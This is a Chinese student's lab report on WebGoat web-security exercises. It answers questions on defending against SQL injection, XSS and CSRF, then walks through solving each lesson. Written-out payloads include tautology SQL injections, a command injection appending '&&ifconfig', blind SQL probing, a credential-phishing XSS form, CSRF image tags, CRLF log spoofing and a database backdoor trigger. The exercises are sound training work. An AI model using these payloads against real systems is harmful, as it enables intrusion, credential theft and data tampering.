20144303石宇森《网络对抗》Web安全基础实践

实验后问题回答

SQL注入攻击原理,如何防御:

SQL攻击时通过在输入框中输入语句,构造出SQL命令,把这段命令注入到表单中,让后台的数据库执行恶意的SQL语句以实现攻击。

防御方法:采用sql语句预编译和绑定变量是最佳的方法。在不能使用sql语句预编译的情况下,可以严格的检查参数的数据类型以及格式。

XSS攻击的原理,如何防御:

XSS攻击也是通过从输入框中输入,把语句传给后台,这些语句代码包裹HTML代码和客户端脚本。通过这种方法,使网页的页面被更改,其他用户看到的页面也被更改。

防御方法:从Web开发的角度来避免,对所有用户提交的内容进行可靠的输入验证。对用户输入的html 标签及标签属性做白名单过滤,也可以对一些存在漏洞的标签和属性进行专门过滤。

CSRF攻击原理,如何防御:

CSRF攻击的原理就是使攻击者盗取用户的身份,然后以用户的身份发送恶意请求。盗取用户身份是通过Cookie来完成的。

防御方法:对用户来说要尽量及时的清理Cookie。对Web端来说,可以在客户端页面增加伪随机数,使攻击者得不到用户的Cookie

实验总结与体会

这次的实验与之前用过的“爱春秋”比较类似,以一种闯关的形式来完成实验,为学习过程增添了不少趣味性。有一些题目看不懂或是做不出来,后来通过学习同学的博客都把问题解决了。本来以为没有输入框就不能完成SQL注入攻击了,没想到还有Berpsuite,能把网页输入和输出内容像抓包一样抓到,然后完成修改。

实践过程记录

在实验之前,要先解压一下WebGoat(不能关闭终端窗口),然后登录localhost:8080/WebGoat开始实验。

一、String SQL Injection

这个题要求我们通过SQL注入的方法使所有的信用卡的信息都能被看到。判断出它是一个SELECT查询语句后,我们构造出一个永真式就能让他把所有的信息都输出出来。

所以,在输入框中输入'or 1='1,就能查出所有信用卡的信息。

二、Numeric SQL Injection

这个题也是要我们通过SQL注入攻击把所有的数据输出,同样的,也是构造一个永真式,但是与上一题不同的是,他没有输入框。这就要用到Berpsuite,把数据包截获,然后进行修改。

首先我们要对Berpsuite软件使用的端口进行设置

然后把浏览器使用的端口也做修改

使捕获设置在ON,开始捕获

然后把捕获到的数据发送到repeater

对station修改,构造一个永真式,加一个or 1=1。发现右边的代码也做了相应的修改。再次点go,成功

三、Command Injection

设置完端口 捕获数据包 然后把他发送到repeater

对URL修改,加上“&&ifconfig”,让它执行ifconfig语句

实验结束后,把捕获关闭

四、Blind Numeric SQL Injection

这是个猜数字的题。我们输入101发现是有效的,那么就可以构造SQL语句,通过输出结果来判断后面的式子是否为真。比如,我们输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 100 ); 输出为有效的,那么久证明这个数大于100。然后不断进行尝试,最后推算出答案是2364

五、Reflected XSS Attacks

<script>alert("20144303");</script>

是一个有攻击性的URL,可以让页面弹出对话框,显示20144303。我们把它作为输入,可以完成攻击。值得一提的是,这个XSS攻击没有改变服务器端的页面代码,只会显示给当前用户,不是持久性的存储型XSS攻击。

六、Phishing with XSS

<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:80/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

这个实验是构造一个登录页面,然后输入登录的用户名和密码后,可以将其获取。代码如上。

七、CSRF

这个题让我们发送给目标一封邮件,邮件里面有一个URL,当目标打开这个邮件时,完成攻击。

因此,构造一个伪装语句<img src='attack?Screen=280&menu=900&transferFunds=10000' width='1' height='1'> 其中的src和menu是在题目下面的信息里搜取到的。

八、CSRF Prompt By-pass

这个题目和上一个比较相似,但是需要两条语句来完成,一个来伪装转账的金额,一个来伪装确认转账。

<img src='attack?Screen=267&menu=900&transferFunds=10000'width='1'height='1'>

<img src='attack?Screen=267&menu=900&transferFunds=Confirm'width='1'height='1'>

九、Log Spoofing

这个题要求我们通过注入命令,使admin登录成功。所以构造%0d%0aLogin succeeded !admin( %0d是回车,%0a是换行),这样就可以假装admin登录成功了。

十:Database Backdoors

这个题要求我们把用户的工资设置为10000,然后把表中所有的邮箱和用户名都设置成自己的。

输入101后发现有效,就能根据101来构造语句注入。完成攻击

101; update employee set salary=10000

101;CREATE TRIGGER 20144303 BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='SHIYUSEN@qq.com' WHERE userid = NEW.userid

20144303石宇森《网络对抗》Web安全基础实践的更多相关文章

  1. 20145334赵文豪网络对抗Web安全基础实践

    1.SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的. 对于SQL注入攻击的防范,我觉 ...

  2. 20144303石宇森 《网络对抗》 WEB基础实践

    20144303石宇森 <网络对抗> WEB基础实践 实验后回答问题 一.什么是表单 表单是一个包含表单元素的区域.用form来定义. HTML是静态显示网页的,无法跟服务器进行交互,所以 ...

  3. 20144303石宇森《网络对抗》MSF基础应用

    20144303石宇森<网络对抗>MSF基础应用 实验后回答问题 一.解释什么是exploit,payload,encode: 我认为exploit就是一个简单的攻击指令,就是对配置所有设 ...

  4. 20144303石宇森《网络对抗》注入shellcode和Return-to-libc攻击

    20144303石宇森<网络对抗>PC平台逆向破解 实验1:shellcode注入 实验基础 1.Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcode,n ...

  5. 20144303石宇森《网络对抗》逆向及Bof基础

    20144303石宇森<网络对抗>逆向及Bof基础 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回 ...

  6. 20144303石宇森 《Java程序设计》第2周学习总结

    ---恢复内容开始--- 20144303 <Java程序设计>第2周学习总结 教材学习内容总结 一.类型: 1.Java可以区分为基本类型和类类型.类类型也称作参考类型. 2.Java中 ...

  7. 2018-2019 20165221 网络对抗 Exp5 MSF基础

    2018-2019 20165221 网络对抗 Exp5 MSF基础 实践内容: 重点掌握metassploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实践,如ms0 ...

  8. 20145306 网路攻防 web安全基础实践

    20145306 网络攻防 web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 XSS攻击:Stored XSS Attacks.Reflected XSS At ...

  9. 20155324王鸣宇 《网络对抗技术》Web基础

    20155324王鸣宇 <网络对抗技术>Web基础 实践要求 ①Web前端HTML: 能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HT ...

随机推荐

  1. bzip2 zip 压缩后体积比 0.8:1

    1. 对.bz2 后缀文件 跳过不处理 2.逐行同字段的json文件,压缩后大小为原文件的12.81% 测试文件近似认为为逐行json文本数据,没有进行多文件重复测试,没有统计时间: {"u ...

  2. sql中把字符串转化为数字的方法

    1. convert(int,字段名) 2. cast(字段名 as int)

  3. 单例模式:Qt本身就提供了专门的宏 Q_GLOBAL_STATIC 通过这个宏不但定义简单,还可以获得线程安全性

    标题起的是有点大 主要是工作和学习中,遇到些朋友,怎么说呢,代码不够Qt化 可能是由于他们一开始接触的是 Java MFC 吧 接触 Qt 7个年头了 希望我的系列文章能抛砖引玉吧 单例模式 很多人洋 ...

  4. centos7 卸载和安装最新版本docker-ce,配置阿里云加速

    一.yum卸载.安装 1.卸载老版本的 docker 及其相关依赖 sudo yum remove docker docker-common container-selinux docker-seli ...

  5. 洛谷P2634 聪聪可可 [国家集训队] 点分治/dp

    正解:点分治/dp 解题报告: 传送门! 这题有两个做法,都是我不擅长的就都说下好了QAQ 首先这题一看到就会想到点分治? 也确实可以用点分治,那就直接用点分治鸭 每次求出到当前根距离余数为0,1,2 ...

  6. 【spring mvc】application context的生命周期

    上一次讲application context中bean的生命周期,后面贴了一部分代码,但根本没理解代码意思,有幸在博客园看到一篇关于这部分的代码解析,特别长,特此做了一些整理笔记,并附上链接:htt ...

  7. [py]letcode第一题求和

    letcode第一题, tm的不好弄. 想了很久想到了一个粗蠢的解决办法. Given an array of integers, return indices of the two numbers ...

  8. Python中如何获取类属性的列表

    这篇文章主要给大家介绍了在Python中如何获取类属性的列表,文中通过示例代码介绍的很详细,相信对大家的学习或者工作具有一定的参考借鉴价值,有需要的朋友可以参考借鉴,下面来一起看看吧. 前言 最近工作 ...

  9. zabbix 微信报警脚本

    不知道是什么原因直接用Python脚本zabbix无法执行脚本,需要一个shell来启动 #! /bin/bash userid=$ content=$ python /data/zabbix/ale ...

  10. C#中NPOI操作excel之读取和写入excel数据

    一.下载引用 下载需要引用的dll,即:NPOI.dll,NPOI.OOXML.dll,NPOI.OpenXml4Net.dll,ICSharpCode.SharpZipLib.dll(office2 ...